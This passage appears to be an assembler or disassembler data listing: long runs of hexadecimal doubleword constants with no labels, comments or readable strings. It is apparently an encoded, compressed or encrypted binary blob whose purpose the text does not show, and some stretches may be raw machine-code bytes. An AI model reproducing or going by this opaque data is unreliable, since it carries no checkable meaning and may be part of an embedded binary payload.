3FDC8957h dd 670590EFh, 8E41B4C9h, 86938h, 0BE5E0B00h, 0C4521472h dd 0CB511A78h, 0D775217Fh, 0DA662D8Bh, 4A83A48Eh, 53B1FD83h dd 57B5018Bh, 59B70391h, 4BBE0A96h, 0FE3201D0h, 4C2BF006h dd 9014DB68h, 9523E644h, 6BF9BC1Ah, 0DB8569B5h, 7BD98C18h dd 27E02CB8h, 3137879Fh, 7DB5E7B6h, 8CEAFC13h, 3C8C3FC5h dd 0F6837ECh, 4FF2D3C9h, 0AF7EF96Fh, 4DCE5C5h, 5DE0AF2Ah dd 7E08C41Ah, 2A7A2DBBh, 0FDB00050h, 0D85E2482h, 6A8B3322h dd 0F21182FEh, 4DC81833h, 0DED9AF7Eh, 45C01002h, 0C18A24E7h dd 419FEB3Bh, 0C93F27Eh, 44BC15C9h, 7C43B91h, 3B00000h dd 0EDAF0D59h, 0ECB5135Fh, 12BE1C68h, 0FBC2206Ch, 1E3F2975h dd 3E8A16DDh, 428E18E0h, 4C981EE4h, 519D2BEEh, 0A19463DEh dd 0BEF006FEh, 18DBFBDFh, 0BFB9AC19h, 0C7FDCDAAh, 3AB09A56h dd 0E396E636h, 0EAB9A568h, 0DBC08CBCh, 0D9D084BDh, 0C321717Ah dd 0CEBD7301h, 2EFD78F0h, 0FC13DEB2h, 55E3A503h, 0F69844A2h dd 53A3F343h, 0C0C98C07h, 0A98C5BBEh, 0B6F00B96h, 0C4DBA366h dd 51434A0Dh, 0CF113B94h, 0C6942A19h, 75C578FEh, 0DCDBAA25h dd 89FA11B2h, 9D60BE39h, 0A265C30Fh, 4A746316h, 0BD1124F3h dd 0FE4EF601h, 8E6433AEh, 0E3FC1B26h, 0F7047020h, 0F8487BC2h dd 33027Dh, 5DF00B22h, 7EDC570Dh, 66E12DBBh, 22191CEBh dd 0F646F00Bh, 911FE240h, 64F2B816h, 0B20CFBAEh, 646C3BB6h dd 0B1FA14D2h, 0CFA70261h, 18CBB4D7h, 6D5C2h, 4AF29F00h dd 50DEA0FEh, 57DDA604h, 5B01AD0Bh, 66EAB10Fh, 0CE0F301Ah dd 0CF2D7907h, 0D3317D07h, 0DD3B870Dh, 0CF428E1Ah, 0FDB68554h dd 0C8A7F006h, 0E6744AE4h, 0C944943Ah, 16FC6CFAh, 13D634FCh dd 6E21CB77h, 3E18CE1Eh, 7DF873EEh, 6F38FAEh, 0CA80D0F0h dd 0CF1BA96Ch, 6F22AE71h, 0A02F31F4h dd 9DD0E962h, 0A2C6F8E7h, 74585827h, 5DADFA19h, 0CA5DB5FEh dd 489E51B4h, 65Ah, 83CF6D1Ah, 89D56325h, 8EDA622Bh, 8EDA8430h dd 8FDB6930h, 7C4384A5h, 864EACF8h, 9056B400h, 9558B602h dd 0CD48BB07h, 6FC3FFEh, 5D4120F0h, 79F4744Ah, 16FD0FAAh dd 8D0858FCh, 94E06C2Fh, 32E57336h, 72ED7B43h, 1C69CFA3h dd 59D424FAh, 60AC38FBh, 36B13F02h, 6649ECBBh, 0B816F60Ch dd 611767F5h, 0CD533AEh, 5012D588h, 0C9DE03C5h, 2F1ED424h dd 8F5ED98Fh, 0FC139001h, 0D6E74696h, 0B2AED111h, 5D0A9FFh dd 0F7A40000h, 0E9AB0955h, 0E8B10F5Bh, 0EBA1864h, 0FFC62470h dd 1A3B2571h, 4A961AE1h, 4E9A24ECh, 509C2AF0h, 55A12FF2h dd 0A59867E2h, 0BAF006FCh, 0FBBEF7DBh, 957D6DAAh, 3F9D5331h dd 0C23DF07Ch, 3CE9E9FFh, 0B7650412h, 1A6A2DA0h, 0CC2AE00Eh dd 402F7B09h, 116FEA7Eh, 0BE0EC14Fh, 82BE8D08h, 0F3FC1358h dd 1E21F0A3h, 0D8F00B57h, 38B31D35h, 0B57CA69h, 8D4393F0h dd 0CA5B2BEDh, 496B99h, 0BE870000h, 0B00E9860h, 58A85BE9h dd 5D0BB3A2h, 38BE84E2h, 0A4380782h, 0F9FC1375h, 8FDA0436h dd 2C7C353Eh, 0C87AA79h, 834CF00Bh, 1FE846F9h, 0AB4EE295h dd 680B5493h, 0BF88E6CEh, 7C328235h, 0CA9A1ADCh, 0E25A99h dd 0DB760000h, 7BD98C18h, 0D45A22B4h, 0E8AB0984h, 0A359A95Ch dd 8EB275F0h, 0D0A3013Eh, 15CD51E6h, 7BF4C752h, 134184B8h dd 9E54F9AEh, 3CEF7D40h, 128D1BDEh, 0AF62ECB4h, 8E5DA95Fh dd 0F60CACB2h, 0E430BC7Fh, 8235C386h, 0C23D2B93h, 47C293FFh dd 0F242F57Fh, 6FD6892Fh, 0B527E2ACh, 994F0BB9h, 9894F1Eh dd 27DFC13h, 0BC60033h, 570D5DF0h, 0F2E12D7Dh, 3ECC8ECCh dd 0F241108Bh, 6BF00BC6h, 3908CB1Bh, 0FF4DFE38h, 0EFBE3989h dd 0FA11AEB3h, 0EF4DC818h, 0D5509C28h, 7026AE77h, 66C54B12h dd 0B4CA2461h, 5F3C9245h, 15000004h, 1A78C468h, 207ECA58h dd 2381CD57h, 2B89D577h, 0AA94E064h, 0FB895089h, 38951AFh dd 0D9359B7h, 14A063C1h, 0BDA55C8h, 0F006FA28h, 0DB725635h dd 0E6449014h, 65499523h, 79F4744Ah, 17CD6F1Bh, 0FE5E219Ch dd 7B6E0931h, 8D0FDE94h, 71FC134Ch, 7B8408AEh, 954B4085h dd 8077F8BBh, 41776EA0h, 0B52C372h, 0FC4C9CF0h, 207EF9ACh dd 0CC1CCF5Dh, 52F84716h, 5BFEF00Bh, 63F2B4C3h, 0E3299CAh dd 4E000001h, 926118DBh, 0F60C67A3h, 691C6CBCh, 0DC0440Bh dd 0C6BE23Eh, 800CCFF6h, 8513D634h, 1ADBE3D2h, 9200D26Fh dd 49FCE51Ah, 27FDA76Ah, 51209BEBh, 0FC13ED87h, 8574C010h dd 0D55B2139h, 782D222h, 0AFFE6044h, 1ED28CC3h, 62967115h dd 6BE69CECh, 1192C59Ch, 6A3391FAh, 5D55E8B7h, 0BA0AF602h dd 0B167B76Ah, 490C87D7h, 25F645C3h, 0D783E1F6h, 0A6047F35h dd 8A0551DFh, 7934E6C7h, 26C8BAAh, 0C184D4F6h, 0EE69CCB3h dd 26C1C1Fh, 3BF141F6h, 2B8A16DDh, 0B4CA2EA6h, 3B71C77Ah dd 39000003h, 46A4F08Ch, 4CAAF684h, 4FADF983h, 4FADF9A3h dd 0C6B0FC88h, 179D64A5h, 1FA56DCBh, 21AF75D3h, 28B477D5h dd 1FEE69DCh, 0F006F91Ch, 0DB7E6241h, 3B21D14h, 5D49A7C5h dd 9DCF920Dh, 0FD8B4D9Bh, 2DA1693Ah, 0A91B566Ah, 0F8AE3A48h dd 0E7B631ACh, 0F60C1354h, 49114609h, 0E4341E62h, 0BD80DE94h dd 0ED68E32Fh, 0C0B1F1Eh, 3AF040F6h, 8C18DB56h, 2CB87BD9h dd 0F99D27E0h, 9A50D49Bh, 0DA5513ABh, 137DC90Bh, 0CDB56FCh dd 0F00B7229h, 49ECBB36h, 16F00B72h, 712676C6h, 89AC7BF6h dd 0D6F00B72h, 7225AF78h, 4D1CD222h, 9C46CB8Ah, 35B0B806h dd 617BF7BAh, 382013E2h, 0ED3D543Eh, 0C1E43D2Ah, 0E4083C0Bh dd 0B2755E21h, 0A29052FFh, 6518680Ch, 0A5204876h, 239377D6h dd 0FD78C858h, 984ED69Fh, 7B44A21Dh, 43D193F1h, 0E06C2F8Dh dd 181BEA65h, 4554335Ch, 95F33FF5h, 0F4E746D2h, 941298FEh dd 2348BE1h, 93400000h, 7D3F9DE9h, 7C45A3EFh, 0A24EACF8h dd 8B52B0FCh, 0AECFB905h, 0CE1AA66Dh, 0D21EA870h, 0DC28AE74h dd 0E12DBB7Eh, 1124F36Eh, 4EF006F8h, 18DB8B6Fh, 67A39261h dd 6CBCF60Ch, 671322F1h, 0FC4CF60Ch, 0B40AF9ACh, 0C66A39B4h dd 8FFC1379h, 75F64514h, 1CE3F00Bh, 0AB6EBE98h, 59C986B6h dd 83CF1F31h, 0A01E36CAh, 0AF8A4DC8h, 0B156E009h, 67B73D06h dd 356736B1h, 6AFA14F2h, 0AF96651Ah, 0EBB29A4Ch, 4B1A95D3h dd 409D70A1h, 0BF4D0F6Dh, 8FC67544h, 47974C85h, 0B467B791h dd 0F46FF9C5h, 868AB679h, 32F6940Dh, 0EC9EAD7Ch, 81DF469Fh dd 338336BAh, 470A68E3h, 94F26DB9h, 449447CDh, 0DF6D308Eh dd 54F66580h, 0F84E01F8h, 166h, 6FBB610Eh, 75C14F11h, 7AC64E17h dd 82CE701Ch, 8BD75D24h, 804780A1h, 824AA8F4h, 8C52B0FCh dd 995CBA06h, 0D14CBF0Bh, 6C73302h, 694D2CF0h, 0D98C18DBh dd 0B69D4EAh, 42F1C044h, 1BF60C67h, 31007BCBh, 0FC138E1Fh dd 0DA9D1868h, 1282D371h, 0B37AD8A7h, 722B772Dh, 71F7C7DFh dd 5B1D7BF6h, 0C571ACDh, 24484B84h, 15E49AEAh, 0FA146EC7h dd 2F8D0858h, 6E23D983h, 0FF523C9Fh, 0F6724CAEh, 6EC0AC7Bh dd 0DD2D44E1h, 0B83E0462h, 580E945Ah, 6008B6A5h, 20EF6AE5h dd 48F9911Dh, 6D3CF242h, 42E32EDEh, 0D954CF1Fh, 0E1AC8F5Eh dd 61B14EF3h, 0FEB44003h, 34FDDA0h, 9C48E2A5h, 9FEF3FF2h dd 0D8B4AF40h, 3E9447FBh, 9Ah, 438F2DDAh, 499523E5h, 4E9A22EBh dd 4E9A44F0h, 4F9B29F0h, 3C034465h, 460E6CB8h, 501674C0h dd 551876C2h, 8D087BC7h, 6C77FBEh, 1D01E0F0h, 0F9D60BEh dd 0F8560C5Ch, 5F4A735h, 6534AFB9h, 0FC139793h, 0B9A8F444h dd 19E86305h, 0FA11D266h, 6ECC7FCFh, 73D11DABh, 0A27124B0h dd 25B68A20h, 0F3FE58FBh, 0FA58A430h, 4BD99B37h, 3EEA48FBh dd 0EFC7A42Dh, 602968D1h, 89D929DCh, 4FF28639h, 9927EAF7h dd 0A02CEF4Dh, 0EA76225h, 568E94E8h, 397EDA0h, 0B3000000h dd 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h dd 2AF14F02h, 0E995F3A6h, 69329043h, 10D230E3h, 567ECF82h dd 0C681E689h, 4, 8704EE83h, 895C2434h, 2B682414h, 89000075h dd 9B682404h, 89000071h, 78B8243Ch, 2D471A6Ah, 59B44DD5h dd 0F64EB52Dh, 40D8F712h, 518FBA52h, 0D0212E73h, 8604055Ah dd 8B54E1FAh, 0C483243Ch, 81505604h, 0FC72404h, 815E1FE4h dd 0E40FC7EEh, 877891Fh, 243C8B5Eh, 81E78957h, 4C7h, 4C78100h dd 87000000h, 8B5C243Ch, 89562404h, 4C681E6h, 83000000h dd 348704C6h, 3AE95C24h, 4AFFFCDAh, 0C590DAEAh, 0B89EA1EEh dd 60AA1BEh, 0E0FFC503h, 67909BA1h, 5BDD6D11h, 2A028B47h dd 4555AE00h, 7F267A43h, 77F3E2C0h, 52E76019h, 3B17F713h dd 133E8614h, 458021D4h, 39EBh, 2CC00BFh, 2E400BFh, 0BFh dd 70F20000h, 7C044763h, 74C8767Ah, 70A7226Bh, 37054F60h dd 19584E6Ah, 555E7640h, 6D432242h, 77E35241h, 7C314A5Ah dd 79A1466Fh, 99DB727h, 0D9E32409h, 31B9AF3Dh, 0A4992409h dd 1F0A201Fh, 9A8F570Eh, 1E4E47B3h, 0D52208h, 0D95B715Eh dd 196C9BB6h, 34B1AB0Eh, 941C253Eh, 10A78A93h, 4255DD08h dd 7CFEA156h, 19A72503h, 4A80357Ah, 196C9BB6h, 34B1AB0Eh dd 941C253Eh, 10AAB593h, 4255DD08h, 48434856h, 19A121E6h dd 0DA89020Eh dd 3D24AB57h, 3D70A30Ah, 191A340Ah, 0DA5C630Eh, 73D7BBE2h dd 1AAB720Eh, 39A1220Eh, 9088E156h, 986C064Ah, 130064Ah dd 591A220Eh, 0B683E15Eh, 7F59C701h, 0D9C8D985h, 0F1F32264h dd 19D0220Dh, 43AB782Eh, 1D107687h, 1D3E668Fh, 190D221Bh dd 0E845704Ch, 14FEA9CAh, 0DFA72508h, 1EC5078Bh, 19027408h dd 1937CA5Eh, 413A220Eh, 5D847ACDh, 5D07262Ah, 195B262Ah dd 49E1220Eh, 0AB01ABCDh, 84E1D02Ah, 1F3302B3h, 0C89F566h dd 924D9C66h, 1D07149Dh, 8A67592Ah, 0E54FA23Ah, 56D97F1h dd 19022409h, 1937CA5Bh, 443A220Eh, 75847FCDh, 5D07262Ah dd 1955262Ah, 4CE4220Eh, 0D5C313CDh, 569B785h, 9CB92409h dd 1F1052FAh, 0C0B63FB4h, 0F056DD42h, 19432203h, 3CFC5BD2h dd 140A9B25h, 5B1060C7h, 7930489Fh, 717BE985h, 85562681h dd 19862AE6h, 196B150Eh, 221D8594h, 572D07h, 0F068220Eh dd 1934221Ah, 6EA77687h, 0FFF46685h, 5D3B59A6h, 0C85C9335h dd 725C1386h, 3DD4A350h, 7ACD297Fh, 1932A801h, 8C2B220Eh dd 1F0A365Fh, 0A0773766h, 0A125423Ah, 104937C4h, 7DD0220Eh dd 9DB0551Ah, 276A4201h, 191AA101h, 7856220Eh, 0E0A2168Fh dd 73779BFDh, 1A49770Eh, 39D0220Eh, 9035E153h, 98300662h dd 11E064Ah, 5C0D220Eh, 5A91E15Bh, 0F00D5287h, 19A12204h dd 0F8F3C803h, 0F60F19ACh, 195EAEC9h, 0F14D2264h, 190D220Dh dd 46457D2Eh, 1D675E87h, 1D85668Fh, 19D0221Bh, 56AB7549h dd 0E6CDA9CFh, 9D7F9BDEh, 13E40895h, 0C886220Eh, 72EC48F8h dd 9A520FEEh, 9C55AB53h, 7F6E28ACh, 92652FB4h, 1BD627F6h dd 9C84220Eh, 1F8C8087h, 905BE28Dh, 1303AF8Bh, 0A0101108h dd 196820E2h, 195E88FDh, 1919CA5Ch, 432D220Eh, 4D0F78CDh dd 5DC2262Ah, 19B4262Ah, 4B92220Eh, 924B82CDh, 1E1BAB9Bh dd 0D3AD2D08h, 0C28A7C8h, 73C52409h, 1AAB750Eh, 39A1220Eh dd 908FE151h, 986C0672h, 0C30064Ah, 5E1A220Eh, 0F450E159h dd 0E813AB6Eh, 92452517h, 1EBB779Bh, 55614308h, 5DF8D466h dd 0F0544235h, 191A2200h, 1A2F0C54h, 0B2E600C3h, 0DD239776h dd 43F790E0h, 1D51436Fh, 3BB24A2Ah, 4E34486Fh, 191A21E6h dd 0DA52020Eh, 3DFAAB51h, 3D07A30Ah, 19A1360Ah, 0DA87650Eh dd 0E6BEA9A9h, 1E289FBBh, 0ED9FAF08h, 730B287Eh, 1A6E700Eh dd 3943220Eh, 90FBE154h, 98D4065Ah, 56C064Ah, 5B34220Eh dd 0D8CE15Ch, 0E7030187h, 90874990h, 1E480FB3h, 9271DD08h dd 1EDB1783h, 0C4EDAB08h, 92322515h, 1E0F97B3h, 88B8AB08h dd 9480251Eh, 1E558B8Bh, 4FA14808h, 19D021E6h, 0DA36020Eh dd 3D40AB50h, 3D5EA30Ah, 190D350Ah, 0DAD0640Eh, 655F8D0Bh dd 19A129E7h, 0A5133F0Eh, 0FB3BDAB9h, 4EA2B3E2h, 0A2FA787h dd 19672409h, 1985CA5Fh, 4063220Eh, 55287BCDh, 5D51262Ah dd 1973262Ah, 4875220Eh, 5A9176CDh, 0B3373C13h, 3C03E4BDh dd 4A45251Bh, 0F1F42264h, 19D0220Dh, 44AB7F2Eh, 1D104E87h dd 1D3E668Fh, 190D2219h, 0A945774Bh, 997A9237h, 0AC2A95E3h dd 1FD739AFh, 0E4BE2E66h, 5BF2DEEh, 161A220Eh, 190D3486h dd 1996CA0Eh, 9FEB220Eh, 0F47123F8h, 84A60AE3h, 0C44B64AAh dd 986DC366h, 87CE063Ah, 19673E42h, 1985CA5Eh, 4163220Eh dd 5D287ACDh, 5D51262Ah, 1975262Ah, 4974220Eh, 0A0A63CDh dd 0DB854EB3h, 0E6BF06C1h, 1E5F9FBBh, 4BA14808h, 19D021E6h dd 0DA32020Eh, 3D60AB54h, 3D5EA30Ah, 190D3E0Ah, 0DAD4600Eh dd 0E8ACA3A3h, 68EAB8C2h, 0ED55AF28h, 736E287Eh, 1ADC710Eh dd 391A220Eh, 9056E155h, 98820652h, 47064Ah, 5AA1220Eh dd 7F81E15Dh, 0B041D4Ch, 54E59868h, 191BA801h, 0E6F8220Eh dd 4A8648DEh, 194321E6h, 0DAFA020Eh, 3D8CAB55h, 3D2CA30Ah dd 19343B0Ah, 0DA49610Eh, 0D3D1A1EAh, 0CE0D3666h, 22AA787h dd 0DF5D2409h, 1EC5078Bh, 0F7D77108h, 0F16435FEh, 191A220Ah dd 0C115E6BDh, 763505B1h, 0D1F57254h, 1D856685h, 0F15A705Eh dd 9F671301h, 19342208h, 2815705Eh, 41577A54h, 0A6E2285h dd 0B343220Eh, 0CFDA09A1h, 6B07E97Fh, 6C1C1E5Dh, 0F6C2DE55h dd 0EFAFE652h, 3D49AB57h, 16E6740Ah, 1943228Fh, 78FA720Eh dd 0FB517A50h, 2AAA437Bh, 58997F1h, 0AC932409h, 1F0A3E27h dd 0E5BBF27h, 9CCE2409h, 1FAB52FAh, 0F1872264h, 1968220Dh dd 46F77D2Eh, 1D3E5E87h, 1D29668Fh, 19862212h, 0B807549h dd 0F24A155h, 4FAFDFD3h, 0F2DA787h, 92C82409h, 1E3D1F9Bh dd 16DDDD08h, 19862187h, 0D7FC2D0Eh, 0FE0A787h, 9C162409h dd 1F6F372Bh, 4B344849h, 191A21E6h, 0DA57020Eh, 3DD2AB54h dd 3D07A30Ah, 19A1380Ah, 0DA82600Eh, 0EC11263Ah, 0F1A32091h dd 191A220Ah, 0AED3FFA7h, 494EA968h, 1D676685h, 9B1B2285h dd 90BE810Eh, 416C064Ah, 193428E7h, 1A17E60Eh, 2E207E68h dd 92E07A1Ch, 0A4F6DDF4h, 73A72512h, 1A38710Eh, 3968220Eh dd 906FE155h, 981E0652h, 0D09064Ah, 5A86220Eh, 2823E15Dh dd 1E931783h, 0ED55AF08h, 736E287Eh, 1ADC710Eh, 391A220Eh dd 9056E155h, 98820652h, 247064Ah, 5AA1220Eh, 9F85E15Dh dd 0FDA7A057h, 0C9CB97CDh, 0F1492264h, 190D220Dh, 4245792Eh dd 1D677E87h, 1D85668Fh, 19D0221Ah, 32AB714Dh, 15BDAF87h dd 9C932409h, 1F0A3BA3h, 0F1D52264h, 1943220Dh, 4262792Eh dd 1DF47E87h, 1D4C668Fh, 19342216h, 0DD9714Dh, 2B397EB1h dd 19862DE7h, 1B29890Eh, 0D25BB9BAh, 298E38E8h, 7652072Ch dd 0C11A7C8h, 0A85D2409h, 71DBA908h, 7955D57Ch, 602A78B0h dd 3DA5A366h, 38D83B06h, 0F13B2264h, 1934220Dh, 42D9792Eh dd 1D297E87h, 1DA2668Fh, 19432213h, 0DA62714Dh, 0F7228D2h dd 294F7712h, 0E7BF445Bh, 37FF9F85h, 0ACF22409h, 1F813EB3h dd 0F1152264h, 19A1220Dh, 47137C2Eh, 1D4C5687h, 1D10668Fh dd 191A221Bh, 74CE7448h, 9C0BDB9Bh, 1F4952FAh, 0F1F72264h dd 19D0220Dh, 47AB7C2Eh, 1D105687h, 1D3E668Fh, 190D2213h dd 0ED457448h, 0D78692DBh, 4C684498h, 0A05DAB6Ch, 166E2520h dd 0C9CBD2B1h, 0F14A2264h, 190D220Dh, 41457A2Eh, 1D676687h dd 1D85668Fh, 19D0221Bh, 81AB724Eh, 0FBB544D4h, 9C93CCD7h dd 1F0A0A03h, 35FFB787h, 8CC82409h, 1FA626ABh, 0CF5A7C8h dd 732F2409h, 1ADC740Eh, 391A220Eh, 9053E150h, 9882067Ah dd 47064Ah, 5FA1220Eh, 0DF2CE158h, 3906AF4h, 193426E6h dd 0D4267F0Eh, 15BB72A4h, 1DA26685h, 19C80BBFh, 0C91DE9B0h dd 3D94AB5Fh, 1978CB0Ah, 0F057220Eh, 0A8B458B3h, 6571A01Ah dd 58F44F58h, 731B2CD3h, 1A49730Eh, 39D0220Eh, 9031E157h dd 98300642h, 1E064Ah, 580D220Eh, 9C30E15Fh, 60ACFB25h dd 51C97F1h, 19BA2409h, 196BCA58h, 4714220Eh, 6D937CCDh dd 5D8C262Ah, 199B262Ah, 4F05220Eh, 17D638CDh, 0D09E6DA4h dd 94E6C583h, 1344D68Bh, 4897AB08h, 0E60B251Ah, 4A8648DEh dd 194321E6h, 0DAFA020Eh, 3D8CAB55h, 3D2CA30Ah, 1934370Ah dd 0DA49610Eh, 0AC2697C8h, 1F81358Fh, 3EBAA787h, 94882409h dd 1FD7023Bh, 1902F2F1h, 1937CA5Ch, 433A220Eh, 4D8478CDh dd 5D07262Ah, 1954262Ah, 4BE3220Eh, 13D48DCDh, 64EDAB54h dd 98322512h, 0DFF335C7h, 0C1814422h, 1DA2D585h, 0F1162264h dd 19A1220Dh, 44137F2Eh dd 1D4C4E87h, 1D10668Fh, 191A2217h, 0D8CE774Bh, 8B15A367h dd 194BCBC5h, 5ADC220Eh, 5766F061h, 28086B1Ch, 1E392383h dd 22A24408h, 0D907436Ch, 1ABCA601h, 1929220Eh, 19A2CA5Eh dd 41F0220Eh, 5DE17ACDh, 5DB5262Ah, 190E262Ah, 494D220Eh dd 940D82CDh, 1F4420BBh, 0DF6AA968h, 1EC5078Bh, 19026D08h dd 1937CA5Ch, 433A220Eh, 4D8478CDh, 5D07262Ah, 195E262Ah dd 4BE3220Eh, 6FA995CDh, 14445AB2h, 0AB0F34F5h, 4DDA4A03h dd 0A8BBD71Ch, 1DA2168Fh, 0F009B036h, 19A12207h, 2E43B620h dd 0BEF22226h, 2CA90BB2h, 0E61C251Eh, 1E119FBBh, 7A5CA308h dd 9444BB84h, 13D1D68Bh, 0CC5DAB08h, 0E66E2503h, 0D38B2DDEh dd 733EE28Dh, 1AE5740Eh, 3986220Eh, 901DE150h, 98A5067Ah dd 0FD4064Ah, 5F68220Eh, 0C25EE158h, 389F1366h, 900B253Ch dd 1E83438Bh, 4E434808h, 19A121E6h, 0DA8F020Eh, 3D14AB51h dd 3D70A30Ah, 191A3F0Ah, 0DA5A650Eh, 4F7C0EA1h, 0F96AF48Dh dd 104859F5h, 0D7D0220Eh, 0F2CE11F9h, 9F754FB1h, 4EDBA368h dd 6488A96Fh, 73802512h, 1AAB750Eh, 39A1220Eh, 908FE151h dd 986C0672h, 230064Ah, 5E1A220Eh, 7A27E159h, 377500B0h dd 84C82317h, 1FA605F7h, 0F1822264h, 1968220Dh, 43F7782Eh dd 1D3E7687h, 1D29668Fh, 19862212h, 2180704Ch, 0F2904C7Dh dd 5870250Eh, 1968AA01h, 9377220Eh, 0F001A9E4h, 190D2202h dd 0A0290A32h, 0CD88A258h, 691A6C9Fh, 19BA3985h, 196BCA58h dd 4714220Eh, 6D937CCDh, 5D8C262Ah, 199E262Ah, 4F05220Eh dd 0D342EACDh, 0A682CA3Bh, 17D4F0CCh, 732FA954h, 1AF2700Eh dd 390D220Eh, 90DCE154h, 9847065Ah, 5A5064Ah, 5BD0220Eh dd 1D9CE15Ch, 84922FB7h, 16D27A9Ah, 190D218Eh, 535CA20Eh dd 153C7AB7h, 73791131h, 1A38710Eh, 3968220Eh, 906FE155h dd 981E0652h, 509064Ah, 5A86220Eh, 9054E15Dh, 0F43D97B2h dd 92543F0Fh, 1E4527BBh, 70A9AB08h, 0DF1C251Bh, 1E18078Bh dd 19EC6508h, 1940CA5Fh, 4081220Eh, 55597BCDh, 5DE9262Ah dd 1928262Ah, 485B220Eh, 30D291CDh, 0D7B2BA61h, 11AA5DD9h dd 22A1220Eh, 0D298C1A8h, 7196DA12h, 87D18025h, 191A31E7h dd 0D20AC30Eh, 3295F413h, 25AFBD31h, 0E43F1AD1h, 1ACD44ECh dd 674C268Fh, 732CDB35h, 1AF2770Eh, 390D220Eh, 90DBE153h dd 98470662h, 2A5064Ah, 5CD0220Eh, 2F93E15Bh, 7D4868B8h dd 0A42BB1E2h, 1F0A378Fh, 53B97F1h, 8CC82409h, 1FA627CFh dd 6924A783h, 10802404h, 0D834220Eh, 0A1CB4D56h, 9786734Ch dd 9256DD51h, 0B4C6ABD9h, 0ECA72517h, 4CD0484Eh, 196821E6h dd 0DA69020Eh, 3D76AB53h, 3D49A30Ah, 1986390Ah, 0DA16670Eh dd 5F63EB83h, 0EC20962Fh, 19022285h, 1937CA5Bh, 443A220Eh dd 75847FCDh, 5D07262Ah, 1957262Ah, 4CE4220Eh, 0A399FCDh dd 5468220Eh, 17AA8960h, 8FC2EBDDh, 44A08AF6h, 0F5249A3Fh dd 19C8AF5Fh, 1200A787h, 9C592409h, 1F6F0B4Bh, 1802CBF7h dd 1970220Eh, 190ECA59h, 46A6220Eh, 65CA7DCDh, 5D20262Ah dd 19C8262Ah, 4E2F220Eh, 8B1D0ACDh, 0AC39FF17h, 1F0A1337h dd 0BB2DA783h, 19292404h, 19A2CA5Ch, 43F0220Eh, 4DE178CDh dd 5DB5262Ah, 190C262Ah, 4B4F220Eh, 0E08CBFCDh, 74379B68h dd 9282D5Eh, 0F0D0220Eh, 19682205h, 4C939B80h, 0EF09B13Eh dd 9084D57Ah, 19EC060Ah, 1940CA5Bh, 4481220Eh, 75597FCDh dd 5DE9262Ah, 192E262Ah, 4C5F220Eh, 0A20FB9CDh, 54C3E13Ah dd 3AB2B7F1h, 0AC2A2409h, 1FD70C63h, 0BBD9BF83h, 8CBD2404h dd 1F1D3417h, 7F5F725Eh, 2889D285h, 284C705Eh, 19A127E7h dd 72CB8B0Eh, 41322102h, 5BD7A54h, 4C1A482Ah, 190D21E6h dd 0DADB020Eh, 3D2FAB53h, 3DE5A30Ah, 19D0390Ah, 0DA3D670Eh dd 41B8AA68h, 66F9495Eh, 36A09F85h, 90892409h, 19432215h dd 19A12DE6h, 0B6A7530Eh, 1F24A530h, 0A6C5A272h, 541F395Dh dd 2758D48Fh, 89D870D2h, 491367BFh, 4BF1745Ch, 418A1301h dd 0A3592D51h, 3E4DC822h, 308A7A54h, 1E0F1F9Bh, 4C13DD08h dd 9045253Eh, 1EA4438Bh, 0D35B4408h, 0C4DA7C8h, 73672409h dd 1AF2720Eh, 390D220Eh, 90DEE156h, 9847064Ah, 0DA5064Ah dd 59D0220Eh, 7101E15Eh, 0F12E7587h, 98CAA968h, 0CAFB063Ah dd 19EC6093h, 1940CA58h, 4781220Eh, 6D597CCDh, 5DE9262Ah dd 192F262Ah, 4F5C220Eh, 81433ECDh, 0BA797BC3h, 1FC12D14h dd 98A1220Eh, 0A32CEBC0h, 1963CB35h, 615D220Eh, 4F3811DDh dd 0E2733175h, 0A433DD67h, 90452512h, 1EB66B9Bh, 0ED55AF08h dd 166E287Eh, 1934268Eh, 43A0440Eh, 28DDDD7Eh, 1E89AB8Bh dd 9CC6AB08h, 0DFA7250Ch, 1EC5078Bh, 19026508h, 1937CA5Dh dd 423A220Eh, 458479CDh, 5D07262Ah, 1957262Ah, 4AE2220Eh dd 712825CDh, 3A2BBD68h, 1DB5F285h, 376C082Ah, 92F3A970h dd 1E917FB3h, 0A4F6DD08h, 92A72512h, 1EDDCB9Bh, 0EDEDAF08h dd 3232287Eh, 1E2A7383h, 49DDDD08h, 3467AF85h, 901D2409h dd 1EBCC38Bh, 6A6F4408h, 3CEDE4ADh, 4A32251Bh, 0F14C2264h dd 190D220Dh, 47457C2Eh, 1D675687h, 1D85668Fh, 19D0221Bh dd 0B1AB7448h, 51FB4A8Eh, 927CD281h, 3D39A3D8h, 70303551h dd 0F1152264h, 19A1220Dh, 47137C2Eh, 1D4C5687h, 1D10668Fh dd 191A2217h, 94CE7448h, 0EC1F7A35h, 0A4F6DDB1h, 73A72512h dd 1A38740Eh, 3968220Eh, 906AE150h, 981E067Ah, 0D09064Ah dd 5F86220Eh, 92F1E158h, 1EA44BB3h, 0ED55AF08h, 736E287Eh dd 1ADC750Eh, 391A220Eh, 9052E151h, 98820672h, 547064Ah dd 5EA1220Eh, 14DE159h, 758846CEh, 996EBDB3h, 0AC915EC8h dd 1F0A26BBh, 92E0F2F1h, 0C6ABF6h, 10A72512h, 1EC1E7BBh dd 2CE51308h, 0DF322527h, 1E0F078Bh, 19677508h, 1985CA5Eh dd 4163220Eh, 5D287ACDh, 5D51262Ah, 1973262Ah, 4974220Eh dd 6124C4CDh, 98E03E40h, 38394421h, 66C4A9Bh, 79C191C1h dd 1539436Eh, 6B68220Eh, 45EF5CFDh, 0A65A397Eh, 780708A6h dd 19082D5Eh, 4743220Eh, 3D95A36Fh, 3A1B6F27h, 0BE99785h dd 13DC2409h, 2D1A220Eh, 0BC07D38Bh, 5F8D88Ah, 0CCC6AB33h dd 46A7251Ch, 56D97F1h, 19022409h, 1937CA5Bh, 443A220Eh dd 75847FCDh, 5D07262Ah, 1959262Ah, 4CE4220Eh, 0ECD8CCCDh dd 8306156h, 69C0A783h, 9C152404h, 190D2208h, 2439785h dd 0E6BF2409h, 3C2CA9DEh, 90D6253Fh, 1E491F8Bh, 4E344808h dd 191A21E6h, 0DA52020Eh, 3DFAAB51h, 3D07A30Ah, 19A1370Ah dd 0DA87650Eh, 9CAE9156h, 1F33372Bh, 0D0ECA34Dh, 1658A321h dd 19862782h, 8BE19D0Eh, 6AC918F8h, 0F0436AA9h, 19682209h dd 0AB14460Eh, 98FC7253h, 0D1B8060Ah, 19EC0B49h, 1940CA59h dd 4681220Eh, 65597DCDh, 5DE9262Ah, 192F262Ah, 4E5D220Eh dd 0B5CDB2CDh, 0FB60C18Ah, 9FF9448Fh, 